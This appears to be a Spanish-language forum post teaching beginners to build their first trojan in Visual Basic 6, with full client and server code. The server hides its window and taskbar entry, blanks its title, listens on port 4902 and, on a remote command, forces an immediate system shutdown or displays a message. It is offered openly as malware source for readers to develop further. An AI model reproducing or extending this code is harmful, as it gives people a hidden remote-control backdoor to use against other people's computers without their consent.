Autor
Programas necesitados : Visual basic 6.0
Hola,buenos dias.Me pase por algunos post y encontre que mucha gente trata de hacer su primer troyano.Este es un troyano simple.Espero que comprendan que no deben copiar & pegar deben estudiar este codigo.Para avansar mas con el.
Bueno,Abrimos visual basic 6.0 Colocamos 2 label 2 textbox 2 botones(Dos botones por ahora) El primer commandbuton se va a llamar "Conectar" El segundo CommandButon "Desconectar"
Label1: Se va a llamar Ip/Host :
Label2: Se va a llamar Puerto :
Lo acomodon como ustedes quieran.Bueno agregamos el componente winsock y le ponemos el nombre Sock1 o como ustedes quieran
Código:
En el command1(Conectar) Lo clickeamos 2 veces Adentro de el commandbuton1(Conectar) Colocamos el sigiente codigo
Sock1.close 'Cierra todas las conexiones
Sock1.connect text1.text,text2.text 'el text1.text es donde se ingresa la ip el text2.text el puerto
Listo el command1 lo tenemos listo ahora vamos al command2 lo clikeamos 2 veces.Adentro del commandbutton2 colocamos el sigiente codigo :
Código:
Sock1.close ' Cierra todas las conexiones
Ahora agregamos el boton3 commandbutton3 en propiedades eligimos el caption en caption escribimos Shutdown.Adentro del commandbutton3 ponemos :
Código:
If Winsock1.State = 7 Then 'Verifica que el winsock este conectado 7 = Conectado
Winsock1.SendData "Shutdown" 'envia una señal al servidor la señal "Shutdown"
Else 'Si no estamos conectado pasa lo sigiente
MsgBox "Error necesitas estar conectado.", vbInformation, "Error :"
End If
end sub
Ahora generamos el exe File>Make to exe lo guardamos.Ahora Hacemos otro proyecto que seria el servidor.Elegimos el exe standar ahora clickeamos 2 veces el formulario ponemos lo sigiente
Código:
Me.Visible = False
App.TaskVisible = False
App.Title = ""
Winsock1.LocalPort = "4902"
Winsock1.Listen
Ahora agregamos el componente winsock1 y una ves colocado en el formulario ponen en general clickear 2 veces form load ... y ponen el sigiente codigo en declaraciones
Private Const SPLITTER As String = "{Ex}"
Código:
Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.LocalPort = "4902"
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Temp As String
Dim Temp2() As String
Winsock1.GetData Temp
Temp2 = Split(Temp, SPLITTER)
'SPLITTER which = "{Ex}"
Select Case Temp2(0)
Case "Shutdown"
Shell "shutdown -s -t 00" ' Esta es la señal de shutdown
Case "Message"
MsgBox Temp2(1)
End Select
End Sub
En línea
Ademas, comparto la opinion de Mr.Frog 
